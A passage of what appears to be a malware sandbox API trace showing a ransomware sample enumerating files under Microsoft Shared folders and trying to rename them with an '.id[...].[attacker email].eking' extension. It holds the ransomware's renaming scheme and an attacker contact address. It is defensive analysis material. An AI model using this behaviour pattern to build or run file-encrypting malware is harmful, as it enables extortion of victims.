hTemplateFile=0x0) returned 0x1c8 [0165.495] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1486736) returned 1 [0165.495] CloseHandle (hObject=0x1c8) returned 1 [0165.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 0x20 [0165.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 0x20 [0165.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.496] ResetEvent (hEvent=0x178) returned 1 [0165.496] SetEvent (hEvent=0x17c) returned 1 [0165.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.498] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=2124664) returned 1 [0165.498] CloseHandle (hObject=0x1c8) returned 1 [0165.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll")) returned 0x20 [0165.498] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0165.498] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll")) returned 0 [0165.498] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.503] ResetEvent (hEvent=0x178) returned 1 [0165.503] SetEvent (hEvent=0x17c) returned 1 [0165.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0165.503] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=6811) returned 1 [0165.503] CloseHandle (hObject=0x1cc) returned 1 [0165.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 0x20 [0165.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 0x20 [0165.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.504] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.504] ResetEvent (hEvent=0x178) returned 1 [0165.504] SetEvent (hEvent=0x17c) returned 1 [0165.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0165.512] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=323936) returned 1 [0165.512] CloseHandle (hObject=0x1cc) returned 1 [0165.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 0x20 [0165.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 0x20 [0165.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.513] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.513] ResetEvent (hEvent=0x178) returned 1 [0165.513] SetEvent (hEvent=0x17c) returned 1 [0165.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0165.514] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=606062) returned 1 [0165.514] CloseHandle (hObject=0x1cc) returned 1 [0165.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 0x20 [0165.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 0x20 [0165.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.515] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.516] ResetEvent (hEvent=0x178) returned 1 [0165.516] SetEvent (hEvent=0x17c) returned 1 [0165.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0165.516] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=712592) returned 1 [0165.516] CloseHandle (hObject=0x1cc) returned 1 [0165.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 0x20 [0165.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 0x20 [0165.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.517] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.826] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.877] ResetEvent (hEvent=0x178) returned 1 [0165.877] SetEvent (hEvent=0x17c) returned 1 [0165.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0165.878] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1434) returned 1 [0165.878] CloseHandle (hObject=0x1dc) returned 1 [0165.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0165.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0165.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.879] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.880] ResetEvent (hEvent=0x178) returned 1 [0165.880] SetEvent (hEvent=0x17c) returned 1 [0165.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0165.881] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=212) returned 1 [0165.881] CloseHandle (hObject=0x1d8) returned 1 [0165.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0165.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0165.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.882] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.886] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.925] ResetEvent (hEvent=0x178) returned 1 [0165.925] SetEvent (hEvent=0x17c) returned 1 [0165.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0165.928] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1118) returned 1 [0165.928] CloseHandle (hObject=0x190) returned 1 [0165.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0165.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0165.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.929] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.933] ResetEvent (hEvent=0x178) returned 1 [0165.933] SetEvent (hEvent=0x17c) returned 1 [0165.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0165.934] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=392) returned 1 [0165.934] CloseHandle (hObject=0x190) returned 1 [0165.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0165.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0165.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.934] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.955] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.987] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.990] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.991] ResetEvent (hEvent=0x178) returned 1 [0165.991] SetEvent (hEvent=0x17c) returned 1 [0165.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0165.993] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3161) returned 1 [0165.993] CloseHandle (hObject=0x190) returned 1 [0165.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0165.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0165.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.994] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.994] ResetEvent (hEvent=0x178) returned 1 [0165.994] SetEvent (hEvent=0x17c) returned 1 [0165.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0165.995] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3166) returned 1 [0165.995] CloseHandle (hObject=0x190) returned 1 [0165.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0165.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0165.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.996] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.998] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.001] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.002] ResetEvent (hEvent=0x178) returned 1 [0166.002] SetEvent (hEvent=0x17c) returned 1 [0166.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0166.003] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=488) returned 1 [0166.003] CloseHandle (hObject=0x190) returned 1 [0166.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0166.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0166.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.004] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.005] ResetEvent (hEvent=0x178) returned 1 [0166.005] SetEvent (hEvent=0x17c) returned 1 [0166.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0166.005] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=617) returned 1 [0166.005] CloseHandle (hObject=0x190) returned 1 [0166.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0166.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0166.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft 